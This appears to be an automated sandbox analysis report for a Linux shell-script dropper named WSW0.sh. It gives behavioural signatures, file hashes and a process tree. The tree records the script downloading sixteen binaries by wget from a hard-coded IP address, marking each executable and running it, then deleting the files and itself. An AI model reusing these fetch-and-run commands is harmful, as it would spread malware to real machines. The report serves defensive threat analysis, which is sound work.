Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/07/2026, 01:53

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260702-ca6dtsay9v
  • SHA256 6d08e6b1345dad62816b4612f92b0689eb937339ef04480ffe02bf58a28e8a70
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:1476
    • /bin/rm
      rm BFPR
      2⤵
        PID:1477
      • /usr/bin/wget
        wget http://202.155.8.56/BFPR
        2⤵
        • Writes file to tmp directory
        PID:1478
      • /bin/chmod
        chmod +x BFPR
        2⤵
        • File and Directory Permissions Modification
        PID:1487
      • /tmp/BFPR
        ./BFPR
        2⤵
          PID:1488
        • /bin/rm
          rm MIUH
          2⤵
            PID:1490
          • /usr/bin/wget
            wget http://202.155.8.56/MIUH
            2⤵
            • Writes file to tmp directory
            PID:1491
          • /bin/chmod
            chmod +x MIUH
            2⤵
            • File and Directory Permissions Modification
            PID:1492
          • /tmp/MIUH
            ./MIUH
            2⤵
              PID:1493
            • /bin/rm
              rm WGOB
              2⤵
                PID:1495
              • /usr/bin/wget
                wget http://202.155.8.56/WGOB
                2⤵
                • Writes file to tmp directory
                PID:1496
              • /bin/chmod
                chmod +x WGOB
                2⤵
                • File and Directory Permissions Modification
                PID:1497
              • /tmp/WGOB
                ./WGOB
                2⤵
                • OS Credential Dumping
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:1498
                • /usr/local/sbin/uname
                  uname -a
                  3⤵
                    PID:1502
                  • /usr/local/bin/uname
                    uname -a
                    3⤵
                      PID:1502
                    • /usr/sbin/uname
                      uname -a
                      3⤵
                        PID:1502
                      • /usr/bin/uname
                        uname -a
                        3⤵
                          PID:1502
                        • /sbin/uname
                          uname -a
                          3⤵
                            PID:1502
                          • /bin/uname
                            uname -a
                            3⤵
                              PID:1502
                          • /bin/rm
                            rm ZCKS
                            2⤵
                              PID:1500
                            • /usr/bin/wget
                              wget http://202.155.8.56/ZCKS
                              2⤵
                              • Writes file to tmp directory
                              PID:1501
                            • /bin/chmod
                              chmod +x ZCKS
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1503
                            • /tmp/ZCKS
                              ./ZCKS
                              2⤵
                                PID:1504
                              • /bin/rm
                                rm QBLW
                                2⤵
                                  PID:1506
                                • /usr/bin/wget
                                  wget http://202.155.8.56/QBLW
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1507
                                • /bin/chmod
                                  chmod +x QBLW
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1508
                                • /tmp/QBLW
                                  ./QBLW
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1509
                                • /bin/rm
                                  rm TKAW
                                  2⤵
                                    PID:1511
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/TKAW
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1512
                                  • /bin/chmod
                                    chmod +x TKAW
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1513
                                  • /tmp/TKAW
                                    ./TKAW
                                    2⤵
                                      PID:1514
                                    • /bin/rm
                                      rm MGRR
                                      2⤵
                                        PID:1516
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/MGRR
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1517
                                      • /bin/chmod
                                        chmod +x MGRR
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1518
                                      • /tmp/MGRR
                                        ./MGRR
                                        2⤵
                                          PID:1519
                                        • /bin/rm
                                          rm TWTT
                                          2⤵
                                            PID:1521
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/TWTT
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1522
                                          • /bin/chmod
                                            chmod +x TWTT
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1523
                                          • /tmp/TWTT
                                            ./TWTT
                                            2⤵
                                              PID:1524
                                            • /bin/rm
                                              rm GHDS
                                              2⤵
                                                PID:1526
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/GHDS
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1527
                                              • /bin/chmod
                                                chmod +x GHDS
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1528
                                              • /tmp/GHDS
                                                ./GHDS
                                                2⤵
                                                  PID:1529
                                                • /bin/rm
                                                  rm QDCL
                                                  2⤵
                                                    PID:1531
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/QDCL
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1532
                                                  • /bin/chmod
                                                    chmod +x QDCL
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1535
                                                  • /tmp/QDCL
                                                    ./QDCL
                                                    2⤵
                                                      PID:1536
                                                    • /bin/rm
                                                      rm OOLH
                                                      2⤵
                                                        PID:1538
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/OOLH
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1539
                                                      • /bin/chmod
                                                        chmod +x OOLH
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1540
                                                      • /tmp/OOLH
                                                        ./OOLH
                                                        2⤵
                                                          PID:1541
                                                        • /bin/rm
                                                          rm AAFA
                                                          2⤵
                                                            PID:1543
                                                          • /usr/bin/wget
                                                            wget http://202.155.8.56/AAFA
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1544
                                                          • /bin/chmod
                                                            chmod +x AAFA
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1545
                                                          • /tmp/AAFA
                                                            ./AAFA
                                                            2⤵
                                                              PID:1546
                                                            • /bin/rm
                                                              rm SJZR
                                                              2⤵
                                                                PID:1548
                                                              • /usr/bin/wget
                                                                wget http://202.155.8.56/SJZR
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1549
                                                              • /bin/chmod
                                                                chmod +x SJZR
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1550
                                                              • /tmp/SJZR
                                                                ./SJZR
                                                                2⤵
                                                                  PID:1551
                                                                • /bin/rm
                                                                  rm FJIW
                                                                  2⤵
                                                                    PID:1553
                                                                  • /usr/bin/wget
                                                                    wget http://202.155.8.56/FJIW
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1554
                                                                  • /bin/chmod
                                                                    chmod +x FJIW
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1555
                                                                  • /tmp/FJIW
                                                                    ./FJIW
                                                                    2⤵
                                                                      PID:1556
                                                                    • /bin/rm
                                                                      rm QFSX
                                                                      2⤵
                                                                        PID:1558
                                                                      • /usr/bin/wget
                                                                        wget http://202.155.8.56/QFSX
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:1559
                                                                      • /bin/chmod
                                                                        chmod +x QFSX
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1560
                                                                      • /tmp/QFSX
                                                                        ./QFSX
                                                                        2⤵
                                                                          PID:1561
                                                                        • /bin/rm
                                                                          rm FOIB
                                                                          2⤵
                                                                            PID:1563
                                                                          • /usr/bin/wget
                                                                            wget http://202.155.8.56/FOIB
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:1564
                                                                          • /bin/chmod
                                                                            chmod +x FOIB
                                                                            2⤵
                                                                            • File and Directory Permissions Modification
                                                                            PID:1565
                                                                          • /tmp/FOIB
                                                                            ./FOIB
                                                                            2⤵
                                                                              PID:1566
                                                                            • /bin/rm
                                                                              rm -rf BFPR
                                                                              2⤵
                                                                                PID:1568
                                                                              • /bin/rm
                                                                                rm -rf MIUH
                                                                                2⤵
                                                                                  PID:1569
                                                                                • /bin/rm
                                                                                  rm -rf WGOB
                                                                                  2⤵
                                                                                    PID:1570
                                                                                  • /bin/rm
                                                                                    rm -rf ZCKS
                                                                                    2⤵
                                                                                      PID:1571
                                                                                    • /bin/rm
                                                                                      rm -rf QBLW
                                                                                      2⤵
                                                                                        PID:1572
                                                                                      • /bin/rm
                                                                                        rm -rf TKAW
                                                                                        2⤵
                                                                                          PID:1573
                                                                                        • /bin/rm
                                                                                          rm -rf MGRR
                                                                                          2⤵
                                                                                            PID:1574
                                                                                          • /bin/rm
                                                                                            rm -rf TWTT
                                                                                            2⤵
                                                                                              PID:1575
                                                                                            • /bin/rm
                                                                                              rm -rf GHDS
                                                                                              2⤵
                                                                                                PID:1576
                                                                                              • /bin/rm
                                                                                                rm -rf QDCL
                                                                                                2⤵
                                                                                                  PID:1577
                                                                                                • /bin/rm
                                                                                                  rm -rf OOLH
                                                                                                  2⤵
                                                                                                    PID:1578
                                                                                                  • /bin/rm
                                                                                                    rm -rf AAFA
                                                                                                    2⤵
                                                                                                      PID:1579
                                                                                                    • /bin/rm
                                                                                                      rm -rf SJZR
                                                                                                      2⤵
                                                                                                        PID:1580
                                                                                                      • /bin/rm
                                                                                                        rm -rf FJIW
                                                                                                        2⤵
                                                                                                          PID:1581
                                                                                                        • /bin/rm
                                                                                                          rm -rf QFSX
                                                                                                          2⤵
                                                                                                            PID:1582
                                                                                                          • /bin/rm
                                                                                                            rm -rf FOIB
                                                                                                            2⤵
                                                                                                              PID:1583
                                                                                                            • /bin/rm
                                                                                                              rm /tmp/WSW0.sh
                                                                                                              2⤵
                                                                                                                PID:1584

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  .zwxGXIla

                                                                                                                  • Path /tmp/.zwxGXIla
                                                                                                                  • Size 18B
                                                                                                                  • SHA256 2826f2f3115b8530786001edc0fa756717facf08b94a60e40b2d075cb94999d8
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  AAFA

                                                                                                                  • Path /tmp/AAFA
                                                                                                                  • Size 121KB
                                                                                                                  • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  BFPR

                                                                                                                  • Path /tmp/BFPR
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  FJIW

                                                                                                                  • Path /tmp/FJIW
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  FOIB

                                                                                                                  • Path /tmp/FOIB
                                                                                                                  • Size 126KB
                                                                                                                  • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  GHDS

                                                                                                                  • Path /tmp/GHDS
                                                                                                                  • Size 86KB
                                                                                                                  • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  MGRR

                                                                                                                  • Path /tmp/MGRR
                                                                                                                  • Size 154KB
                                                                                                                  • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  MIUH

                                                                                                                  • Path /tmp/MIUH
                                                                                                                  • Size 200KB
                                                                                                                  • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  OOLH

                                                                                                                  • Path /tmp/OOLH
                                                                                                                  • Size 193KB
                                                                                                                  • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  QBLW

                                                                                                                  • Path /tmp/QBLW
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  QDCL

                                                                                                                  • Path /tmp/QDCL
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  QFSX

                                                                                                                  • Path /tmp/QFSX
                                                                                                                  • Size 125KB
                                                                                                                  • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  SJZR

                                                                                                                  • Path /tmp/SJZR
                                                                                                                  • Size 167KB
                                                                                                                  • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  TKAW

                                                                                                                  • Path /tmp/TKAW
                                                                                                                  • Size 105KB
                                                                                                                  • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  TWTT

                                                                                                                  • Path /tmp/TWTT
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  WGOB

                                                                                                                  • Path /tmp/WGOB
                                                                                                                  • Size 109KB
                                                                                                                  • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  ZCKS

                                                                                                                  • Path /tmp/ZCKS
                                                                                                                  • Size 129KB
                                                                                                                  • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH